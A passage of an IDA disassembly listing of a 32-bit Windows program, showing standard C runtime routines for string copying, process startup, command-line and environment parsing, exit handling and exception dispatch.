loc_402789: ; CODE XREF: sub_402730+3Dj
lea edi, [ecx-3]
jmp short loc_402791
; ---------------------------------------------------------------------------
loc_40278E: ; CODE XREF: sub_402730+39j
lea edi, [ecx-4]
loc_402791: ; CODE XREF: sub_402720+5j
; sub_402730+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_4027B6
loc_40279D: ; CODE XREF: sub_402730+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_402808
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_40279D
jmp short loc_4027B6
; ---------------------------------------------------------------------------
loc_4027B1: ; CODE XREF: sub_402730+9Ej
; sub_402730+B8j
mov [edi], edx
add edi, 4
loc_4027B6: ; CODE XREF: sub_402730+6Bj
; sub_402730+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_4027B1
test dl, dl
jz short loc_402808
test dh, dh
jz short loc_4027FF
test edx, 0FF0000h
jz short loc_4027F2
test edx, 0FF000000h
jz short loc_4027EA
jmp short loc_4027B1
; ---------------------------------------------------------------------------
loc_4027EA: ; CODE XREF: sub_402730+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4027F2: ; CODE XREF: sub_402730+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_4027FF: ; CODE XREF: sub_402730+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_402808: ; CODE XREF: sub_402730+72j
; sub_402730+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_402730 endp
; =============== S U B R O U T I N E =======================================
sub_402810 proc near ; CODE XREF: sub_401E30+19p
arg_0 = dword ptr 4
cmp ds:dword_406CEC, 1
jle short loc_40282A
push 107h
push [esp+4+arg_0]
call sub_402A4C
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40282A: ; CODE XREF: sub_402810+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_406AE0
mov ax, [ecx+eax*2]
and eax, 107h
retn
sub_402810 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40283E proc near ; CODE XREF: start+7j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_405128
push offset sub_4034B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call ds:dword_4050AC ; GetVersion
xor edx, edx
mov dl, ah
mov ds:dword_406F64, edx
mov ecx, eax
and ecx, 0FFh
mov ds:dword_406F60, ecx
shl ecx, 8
add ecx, edx
mov ds:dword_406F5C, ecx
shr eax, 10h
mov ds:dword_406F58, eax
xor esi, esi
push esi
call sub_403382
pop ecx
test eax, eax
jnz short loc_4028AA
push 1Ch
call sub_402959
pop ecx
loc_4028AA: ; CODE XREF: sub_40283E+62j
mov [ebp+var_4], esi
call sub_4031D7
call ds:dword_4050A8 ; GetCommandLineA
mov ds:dword_407458, eax
call sub_4030A5
mov ds:dword_406F40, eax
call sub_402E58
call sub_402D9F
call sub_402AC1
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call ds:dword_4050A4 ; GetStartupInfoA
call sub_402D47
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_4028F7
movzx eax, [ebp+var_2C]
jmp short loc_4028FA
; ---------------------------------------------------------------------------
loc_4028F7: ; CODE XREF: sub_40283E+B1j
push 0Ah
pop eax
loc_4028FA: ; CODE XREF: sub_40283E+B7j
push eax
push [ebp+var_64]
push esi
push esi
call ds:dword_4050A0 ; GetModuleHandleA
push eax
call sub_402029
mov [ebp+var_60], eax
push eax
call sub_402AEE
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_402BC3
pop ecx
pop ecx
retn
sub_40283E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_402AFF
; =============== S U B R O U T I N E =======================================
sub_402934 proc near ; CODE XREF: sub_402D9F+4Ep
; sub_402D9F+7Dp ...
arg_0 = dword ptr 4
cmp ds:dword_406F48, 1
jnz short loc_402942
call sub_403590
loc_402942: ; CODE XREF: sub_402934+7j
push [esp+arg_0]
call sub_4035C9
push 0FFh
call ds:off_406AD0
pop ecx
pop ecx
retn
sub_402934 endp
; =============== S U B R O U T I N E =======================================
sub_402959 proc near ; CODE XREF: sub_40283E+66p
arg_0 = dword ptr 4
cmp ds:dword_406F48, 1
jnz short loc_402967
call sub_403590
loc_402967: ; CODE XREF: sub_402959+7j
push [esp+arg_0]
call sub_4035C9
pop ecx
push 0FFh
call ds:dword_4050B0 ; ExitProcess
retn
sub_402959 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_402996
loc_402980: ; CODE XREF: sub_402996+17j
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_402996
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
mov al, [esp+8]
; =============== S U B R O U T I N E =======================================
sub_402996 proc near ; CODE XREF: sub_402600+6Ej
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00402980 SIZE 00000005 BYTES
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_4029BB
loc_4029A8: ; CODE XREF: sub_402996+23j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_402980
test cl, cl
jz short loc_402A04
test edx, 3
jnz short loc_4029A8
loc_4029BB: ; CODE XREF: sub_402996+10j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_4029C6: ; CODE XREF: sub_402996+5Bj
; sub_402996+6Aj ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_402A08
and eax, 81010100h
jz short loc_4029C6
and eax, 1010100h
jnz short loc_402A02
and esi, 80000000h
jnz short loc_4029C6
loc_402A02: ; CODE XREF: sub_402996+62j
; sub_402996+7Bj ...
pop esi
pop edi
loc_402A04: ; CODE XREF: sub_402996+1Bj
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_402A08: ; CODE XREF: sub_402996+54j
mov eax, [edx-4]
cmp al, bl
jz short loc_402A45
test al, al
jz short loc_402A02
cmp ah, bl
jz short loc_402A3E
test ah, ah
jz short loc_402A02
shr eax, 10h
cmp al, bl
jz short loc_402A37
test al, al
jz short loc_402A02
cmp ah, bl
jz short loc_402A30
test ah, ah
jz short loc_402A02
jmp short loc_4029C6
; ---------------------------------------------------------------------------
loc_402A30: ; CODE XREF: sub_402996+92j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_402A37: ; CODE XREF: sub_402996+8Aj
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_402A3E: ; CODE XREF: sub_402996+7Fj
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_402A45: ; CODE XREF: sub_402996+77j
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_402996 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A4C proc near ; CODE XREF: sub_402810+12p
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_402A6A
mov ecx, ds:off_406AE0
movzx eax, word ptr [ecx+eax*2]
jmp short loc_402ABC
; ---------------------------------------------------------------------------
loc_402A6A: ; CODE XREF: sub_402A4C+10j
mov ecx, eax
push esi
mov esi, ds:off_406AE0
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_402A8F
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_402A98
; ---------------------------------------------------------------------------
loc_402A8F: ; CODE XREF: sub_402A4C+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_402A98: ; CODE XREF: sub_402A4C+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_40371C
add esp, 1Ch
test eax, eax
jnz short loc_402AB8
leave
retn
; ---------------------------------------------------------------------------
loc_402AB8: ; CODE XREF: sub_402A4C+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_402ABC: ; CODE XREF: sub_402A4C+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_402A4C endp
; =============== S U B R O U T I N E =======================================
sub_402AC1 proc near ; CODE XREF: sub_40283E+93p
mov eax, ds:dword_407454
test eax, eax
jz short loc_402ACC
call eax
loc_402ACC: ; CODE XREF: sub_402AC1+7j
push offset dword_406010
push offset dword_406008
call sub_402BA9
push offset dword_406004
push offset dword_406000
call sub_402BA9
add esp, 10h
retn
sub_402AC1 endp
; =============== S U B R O U T I N E =======================================
sub_402AEE proc near ; CODE XREF: sub_40283E+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_402B10
add esp, 0Ch
retn
sub_402AEE endp
; =============== S U B R O U T I N E =======================================
sub_402AFF proc near ; CODE XREF: .text:0040292Fp
; sub_402934+1Cp
; DATA XREF: ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_402B10
add esp, 0Ch
retn
sub_402AFF endp
; =============== S U B R O U T I N E =======================================
sub_402B10 proc near ; CODE XREF: sub_402AEE+8p
; sub_402AFF+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp ds:dword_406F94, edi
jnz short loc_402B2D
push [esp+4+arg_0]
call ds:dword_4050B8 ; GetCurrentProcess
push eax
call ds:dword_4050B4 ; TerminateProcess
loc_402B2D: ; CODE XREF: sub_402B10+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov ds:dword_406F90, edi
mov ds:byte_406F8C, bl
jnz short loc_402B81
mov eax, ds:dword_407450
test eax, eax
jz short loc_402B70
mov ecx, ds:dword_40744C
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_402B6F
loc_402B5C: ; CODE XREF: sub_402B10+5Dj
mov eax, [esi]
test eax, eax
jz short loc_402B64
call eax
loc_402B64: ; CODE XREF: sub_402B10+50j
sub esi, 4
cmp esi, ds:dword_407450
jnb short loc_402B5C
loc_402B6F: ; CODE XREF: sub_402B10+4Aj
pop esi
loc_402B70: ; CODE XREF: sub_402B10+3Cj
push offset dword_406018
push offset dword_406014
call sub_402BA9
pop ecx
pop ecx
loc_402B81: ; CODE XREF: sub_402B10+33j
push offset dword_406020
push offset dword_40601C
call sub_402BA9
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_402BA7
push [esp+4+arg_0]
mov ds:dword_406F94, edi
call ds:dword_4050B0 ; ExitProcess
loc_402BA7: ; CODE XREF: sub_402B10+85j
pop edi
retn
sub_402B10 endp
; =============== S U B R O U T I N E =======================================
sub_402BA9 proc near ; CODE XREF: sub_402AC1+15p
; sub_402AC1+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_402BAE: ; CODE XREF: sub_402BA9+16j
cmp esi, [esp+4+arg_4]
jnb short loc_402BC1
mov eax, [esi]
test eax, eax
jz short loc_402BBC
call eax
loc_402BBC: ; CODE XREF: sub_402BA9+Fj
add esi, 4
jmp short loc_402BAE
; ---------------------------------------------------------------------------
loc_402BC1: ; CODE XREF: sub_402BA9+9j
pop esi
retn
sub_402BA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402BC3 proc near ; CODE XREF: sub_40283E+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_402D04
test eax, eax
pop ecx
jz loc_402CF8
mov ebx, [eax+8]
test ebx, ebx
jz loc_402CF8
cmp ebx, 5
jnz short loc_402BF4
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_402D01
; ---------------------------------------------------------------------------
loc_402BF4: ; CODE XREF: sub_402BC3+23j
cmp ebx, 1
jz loc_402CF3
mov ecx, ds:dword_406F98
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov ds:dword_406F98, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_402CE3
mov ecx, ds:dword_406D70
mov edx, ds:dword_406D74
add edx, ecx
push esi
cmp ecx, edx
jge short loc_402C43
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:406D00h[esi*4]
loc_402C3A: ; CODE XREF: sub_402BC3+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_402C3A
loc_402C43: ; CODE XREF: sub_402BC3+69j
mov eax, [eax]
mov esi, ds:dword_406D7C
cmp eax, 0C000008Eh
jnz short loc_402C5E
mov ds:dword_406D7C, 83h
jmp short loc_402CCE
; ---------------------------------------------------------------------------
loc_402C5E: ; CODE XREF: sub_402BC3+8Dj
cmp eax, 0C0000090h
jnz short loc_402C71
mov ds:dword_406D7C, 81h
jmp short loc_402CCE
; ---------------------------------------------------------------------------
loc_402C71: ; CODE XREF: sub_402BC3+A0j
cmp eax, 0C0000091h
jnz short loc_402C84
mov ds:dword_406D7C, 84h
jmp short loc_402CCE
; ---------------------------------------------------------------------------
loc_402C84: ; CODE XREF: sub_402BC3+B3j
cmp eax, 0C0000093h
jnz short loc_402C97
mov ds:dword_406D7C, 85h
jmp short loc_402CCE
; ---------------------------------------------------------------------------
loc_402C97: ; CODE XREF: sub_402BC3+C6j
cmp eax, 0C000008Dh
jnz short loc_402CAA
mov ds:dword_406D7C, 82h
jmp short loc_402CCE
; ---------------------------------------------------------------------------
loc_402CAA: ; CODE XREF: sub_402BC3+D9j
cmp eax, 0C000008Fh
jnz short loc_402CBD
mov ds:dword_406D7C, 86h
jmp short loc_402CCE
; ---------------------------------------------------------------------------
loc_402CBD: ; CODE XREF: sub_402BC3+ECj
cmp eax, 0C0000092h
jnz short loc_402CCE
mov ds:dword_406D7C, 8Ah
loc_402CCE: ; CODE XREF: sub_402BC3+99j
; sub_402BC3+ACj ...
push ds:dword_406D7C
push 8
call ebx ; _hread
pop ecx
mov ds:dword_406D7C, esi
pop ecx
pop esi
jmp short loc_402CEB
; ---------------------------------------------------------------------------
loc_402CE3: ; CODE XREF: sub_402BC3+52j
and dword ptr [eax+8], 0
push ecx
call ebx ; _hread
pop ecx
loc_402CEB: ; CODE XREF: sub_402BC3+11Ej
mov eax, [ebp+arg_0]
mov ds:dword_406F98, eax
loc_402CF3: ; CODE XREF: sub_402BC3+34j
or eax, 0FFFFFFFFh
jmp short loc_402D01
; ---------------------------------------------------------------------------
loc_402CF8: ; CODE XREF: sub_402BC3+Fj
; sub_402BC3+1Aj
push [ebp+arg_4]
call ds:dword_4050BC ; UnhandledExceptionFilter
loc_402D01: ; CODE XREF: sub_402BC3+2Cj
; sub_402BC3+133j
pop ebx
pop ebp
retn
sub_402BC3 endp
; =============== S U B R O U T I N E =======================================
sub_402D04 proc near ; CODE XREF: sub_402BC3+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_406D78
cmp ds:dword_406CF8, edx
push esi
mov eax, offset dword_406CF8
jz short loc_402D31
lea esi, [ecx+ecx*2]
lea esi, ds:406CF8h[esi*4]
loc_402D26: ; CODE XREF: sub_402D04+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_402D31
cmp [eax], edx
jnz short loc_402D26
loc_402D31: ; CODE XREF: sub_402D04+16j
; sub_402D04+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:406CF8h[ecx*4]
cmp eax, ecx
jnb short loc_402D44
cmp [eax], edx
jz short locret_402D46
loc_402D44: ; CODE XREF: sub_402D04+3Aj
xor eax, eax
locret_402D46: ; CODE XREF: sub_402D04+3Ej
retn
sub_402D04 endp
; =============== S U B R O U T I N E =======================================
sub_402D47 proc near ; CODE XREF: sub_40283E+A5p
cmp ds:dword_407448, 0
jnz short loc_402D55
call sub_403C6B
loc_402D55: ; CODE XREF: sub_402D47+7j
push esi
mov esi, ds:dword_407458
mov al, [esi]
cmp al, 22h
jnz short loc_402D87
loc_402D62: ; CODE XREF: sub_402D47+33j
; sub_402D47+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_402D7F
test al, al
jz short loc_402D7F
movzx eax, al
push eax
call sub_403865
test eax, eax
pop ecx
jz short loc_402D62
inc esi
jmp short loc_402D62
; ---------------------------------------------------------------------------
loc_402D7F: ; CODE XREF: sub_402D47+21j
; sub_402D47+25j
cmp byte ptr [esi], 22h
jnz short loc_402D91
loc_402D84: ; CODE XREF: sub_402D47+52j
inc esi
jmp short loc_402D91
; ---------------------------------------------------------------------------
loc_402D87: ; CODE XREF: sub_402D47+19j
cmp al, 20h
jbe short loc_402D91
loc_402D8B: ; CODE XREF: sub_402D47+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_402D8B
loc_402D91: ; CODE XREF: sub_402D47+3Bj
; sub_402D47+3Ej ...
mov al, [esi]
test al, al
jz short loc_402D9B
cmp al, 20h
jbe short loc_402D84
loc_402D9B: ; CODE XREF: sub_402D47+4Ej
mov eax, esi
pop esi
retn
sub_402D47 endp
; =============== S U B R O U T I N E =======================================
sub_402D9F proc near ; CODE XREF: sub_40283E+8Ep
push ebx
xor ebx, ebx
cmp ds:dword_407448, ebx
push esi
push edi
jnz short loc_402DB1
call sub_403C6B
loc_402DB1: ; CODE XREF: sub_402D9F+Bj
mov esi, ds:dword_406F40
xor edi, edi
loc_402DB9: ; CODE XREF: sub_402D9F+30j
mov al, [esi]
cmp al, bl
jz short loc_402DD1
cmp al, 3Dh
jz short loc_402DC4
inc edi
loc_402DC4: ; CODE XREF: sub_402D9F+22j
push esi
call sub_402210
pop ecx
lea esi, [esi+eax+1]
jmp short loc_402DB9
; ---------------------------------------------------------------------------
loc_402DD1: ; CODE XREF: sub_402D9F+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_403CB6
mov esi, eax
pop ecx
cmp esi, ebx
mov ds:dword_406F74, esi
jnz short loc_402DF3
push 9
call sub_402934
pop ecx
loc_402DF3: ; CODE XREF: sub_402D9F+4Aj
mov edi, ds:dword_406F40
cmp [edi], bl
jz short loc_402E36
push ebp
loc_402DFE: ; CODE XREF: sub_402D9F+94j
push edi
call sub_402210
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_402E2F
push ebp
call sub_403CB6
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_402E22
push 9
call sub_402934
pop ecx
loc_402E22: ; CODE XREF: sub_402D9F+79j
push edi
push dword ptr [esi]
call sub_402720
pop ecx
add esi, 4
pop ecx
loc_402E2F: ; CODE XREF: sub_402D9F+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_402DFE
pop ebp
loc_402E36: ; CODE XREF: sub_402D9F+5Cj
push ds:dword_406F40
call sub_403C87
pop ecx
mov ds:dword_406F40, ebx
mov [esi], ebx
pop edi
pop esi
mov ds:dword_407444, 1
pop ebx
retn
sub_402D9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E58 proc near ; CODE XREF: sub_40283E+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp ds:dword_407448, ebx
push esi
push edi
jnz short loc_402E6F
call sub_403C6B
loc_402E6F: ; CODE XREF: sub_402E58+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call ds:dword_405034 ; GetModuleFileNameA
mov eax, ds:dword_407458
mov ds:off_406F84, esi
mov edi, esi
cmp [eax], bl
jz short loc_402E94
mov edi, eax
loc_402E94: ; CODE XREF: sub_402E58+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_402EF1
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_403CB6
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_402EC4
push 8
call sub_402934
pop ecx
loc_402EC4: ; CODE XREF: sub_402E58+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_402EF1
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov ds:dword_406F6C, esi
pop edi
pop esi
mov ds:dword_406F68, eax
pop ebx
leave
retn
sub_402E58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402EF1 proc near ; CODE XREF: sub_402E58+47p
; sub_402E58+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_402F1B
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_402F1B: ; CODE XREF: sub_402EF1+20j
cmp byte ptr [eax], 22h
jnz short loc_402F64
loc_402F20: ; CODE XREF: sub_402EF1+58j
; sub_402EF1+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_402F52
test dl, dl
jz short loc_402F52
movzx edx, dl
test ds:byte_407221[edx], 4
jz short loc_402F45
inc dword ptr [ecx]
test esi, esi
jz short loc_402F45
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_402F45: ; CODE XREF: sub_402EF1+46j
; sub_402EF1+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_402F20
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_402F20
; ---------------------------------------------------------------------------
loc_402F52: ; CODE XREF: sub_402EF1+36j
; sub_402EF1+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_402F5C
and byte ptr [esi], 0
inc esi
loc_402F5C: ; CODE XREF: sub_402EF1+65j
cmp byte ptr [eax], 22h
jnz short loc_402FA7
inc eax
jmp short loc_402FA7
; ---------------------------------------------------------------------------
loc_402F64: ; CODE XREF: sub_402EF1+2Dj
; sub_402EF1+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_402F6F
mov dl, [eax]
mov [esi], dl
inc esi
loc_402F6F: ; CODE XREF: sub_402EF1+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test ds:byte_407221[ebx], 4
jz short loc_402F8A
inc dword ptr [ecx]
test esi, esi
jz short loc_402F89
mov bl, [eax]
mov [esi], bl
inc esi
loc_402F89: ; CODE XREF: sub_402EF1+91j
inc eax
loc_402F8A: ; CODE XREF: sub_402EF1+8Bj
cmp dl, 20h
jz short loc_402F98
test dl, dl
jz short loc_402F9C
cmp dl, 9
jnz short loc_402F64
loc_402F98: ; CODE XREF: sub_402EF1+9Cj
test dl, dl
jnz short loc_402F9F
loc_402F9C: ; CODE XREF: sub_402EF1+A0j
dec eax
jmp short loc_402FA7
; ---------------------------------------------------------------------------
loc_402F9F: ; CODE XREF: sub_402EF1+A9j
test esi, esi
jz short loc_402FA7
and byte ptr [esi-1], 0
loc_402FA7: ; CODE XREF: sub_402EF1+6Ej
; sub_402EF1+71j ...
and [ebp+arg_10], 0
loc_402FAB: ; CODE XREF: sub_402EF1+19Ej
cmp byte ptr [eax], 0
jz loc_403094
loc_402FB4: ; CODE XREF: sub_402EF1+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_402FC0
cmp dl, 9
jnz short loc_402FC3
loc_402FC0: ; CODE XREF: sub_402EF1+C8j
inc eax
jmp short loc_402FB4
; ---------------------------------------------------------------------------
loc_402FC3: ; CODE XREF: sub_402EF1+CDj
cmp byte ptr [eax], 0
jz loc_403094
test edi, edi
jz short loc_402FD8
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_402FD8: ; CODE XREF: sub_402EF1+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_402FDD: ; CODE XREF: sub_402EF1+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_402FE6: ; CODE XREF: sub_402EF1+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_402FEF
inc eax
inc ebx
jmp short loc_402FE6
; ---------------------------------------------------------------------------
loc_402FEF: ; CODE XREF: sub_402EF1+F8j
cmp byte ptr [eax], 22h
jnz short loc_403020
test bl, 1
jnz short loc_40301E
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_40300D
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_40300D
mov eax, edx
jmp short loc_403010
; ---------------------------------------------------------------------------
loc_40300D: ; CODE XREF: sub_402EF1+10Dj
; sub_402EF1+116j
mov [ebp+arg_0], edi
loc_403010: ; CODE XREF: sub_402EF1+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_40301E: ; CODE XREF: sub_402EF1+106j
shr ebx, 1
loc_403020: ; CODE XREF: sub_402EF1+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_403035
inc ebx
loc_403028: ; CODE XREF: sub_402EF1+142j
test esi, esi
jz short loc_403030
mov byte ptr [esi], 5Ch
inc esi
loc_403030: ; CODE XREF: sub_402EF1+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_403028
loc_403035: ; CODE XREF: sub_402EF1+134j
mov dl, [eax]
test dl, dl
jz short loc_403085
cmp [ebp+arg_10], 0
jnz short loc_40304B
cmp dl, 20h
jz short loc_403085
cmp dl, 9
jz short loc_403085
loc_40304B: ; CODE XREF: sub_402EF1+14Ej
cmp [ebp+arg_0], 0
jz short loc_40307F
test esi, esi
jz short loc_40306E
movzx ebx, dl
test ds:byte_407221[ebx], 4
jz short loc_403067
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_403067: ; CODE XREF: sub_402EF1+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_40307D
; ---------------------------------------------------------------------------
loc_40306E: ; CODE XREF: sub_402EF1+162j
movzx edx, dl
test ds:byte_407221[edx], 4
jz short loc_40307D
inc eax
inc dword ptr [ecx]
loc_40307D: ; CODE XREF: sub_402EF1+17Bj
; sub_402EF1+187j
inc dword ptr [ecx]
loc_40307F: ; CODE XREF: sub_402EF1+15Ej
inc eax
jmp loc_402FDD
; ---------------------------------------------------------------------------
loc_403085: ; CODE XREF: sub_402EF1+148j
; sub_402EF1+153j ...
test esi, esi
jz short loc_40308D
and byte ptr [esi], 0
inc esi
loc_40308D: ; CODE XREF: sub_402EF1+196j
inc dword ptr [ecx]
jmp loc_402FAB
; ---------------------------------------------------------------------------
loc_403094: ; CODE XREF: sub_402EF1+BDj
; sub_402EF1+D5j
test edi, edi
jz short loc_40309B
and dword ptr [edi], 0
loc_40309B: ; CODE XREF: sub_402EF1+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_402EF1 endp
; =============== S U B R O U T I N E =======================================
sub_4030A5 proc near ; CODE XREF: sub_40283E+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, ds:dword_4070A0
push ebx
push ebp
mov ebp, ds:dword_4050D0
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_4030F3
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_4030D4
mov ds:dword_4070A0, 1
jmp short loc_4030FC
; ---------------------------------------------------------------------------
loc_4030D4: ; CODE XREF: sub_4030A5+21j
call ds:dword_4050CC ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_4031CE
mov ds:dword_4070A0, 2
jmp loc_403182
; ---------------------------------------------------------------------------
loc_4030F3: ; CODE XREF: sub_4030A5+19j
cmp eax, 1
jnz loc_40317D
loc_4030FC: ; CODE XREF: sub_4030A5+2Dj
cmp esi, ebx
jnz short loc_40310C
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_4031CE
loc_40310C: ; CODE XREF: sub_4030A5+59j
cmp [esi], bx
mov eax, esi
jz short loc_403121
loc_403113: ; CODE XREF: sub_4030A5+73j
; sub_4030A5+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_403113
inc eax
inc eax
cmp [eax], bx
jnz short loc_403113
loc_403121: ; CODE XREF: sub_4030A5+6Cj
sub eax, esi
